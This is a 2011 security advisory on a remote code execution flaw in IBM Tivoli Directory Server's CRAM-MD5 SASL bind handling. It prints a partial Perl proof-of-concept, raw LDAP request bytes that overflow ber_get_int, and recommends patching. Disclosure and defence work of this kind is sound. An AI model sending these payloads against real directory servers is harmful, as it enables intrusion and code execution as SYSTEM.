17/05/2011
Doc No: SN-2011-20005

Security News

2011-20005 IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability

1. Affected Version

IBM Tivoli Directory Server 5.1
IBM Tivoli Directory Server 5.2
IBM Tivoli Directory Server 6.0
IBM Tivoli Directory Server 6.1
IBM Tivoli Directory Server 6.2
IBM Tivoli Directory Server 6.3

2. Description

IBM Tivoli Directory Server (TDS) contains a stack-based buffer-overflow vulnerability. This flaw allows remote attackers to execute arbitrary code via a crafted LDAP request.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
my @commands = (
{Command => 'Send',
 Data =>
"\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43\x52\x41\x4D\
x2D\x4D\x44\x35\x04\x00"},
{Command => 'Receive'},
{Command => 'Send',
 Data =>
"\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3\x82\x01\x31\
x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
```

```
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\
x64\x30\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63"},
{Command => 'Receive'},

);
```

Table 1: The partial proof-of-concept code

This flaw is caused by improper bounds checking by **ibmslapd.exe**. When the process receives an LDAP CRAM-MD5 packet, it uses **libibmldap.dll** to handle the allocation of a buffer for the packet data. A specially crafted LDAP request could cause a buffer overrun in **ber_get_int** function. This can be leveraged by a remote attacker to execute arbitrary code under the context of the **SYSTEM** user.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 09/05/2011.
2. Apply the appropriate patch for your system, as listed in IBM Security advisory.

5. Reference

1. http://www.ibm.com/support/docview.wss?uid=swg21496117
2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1206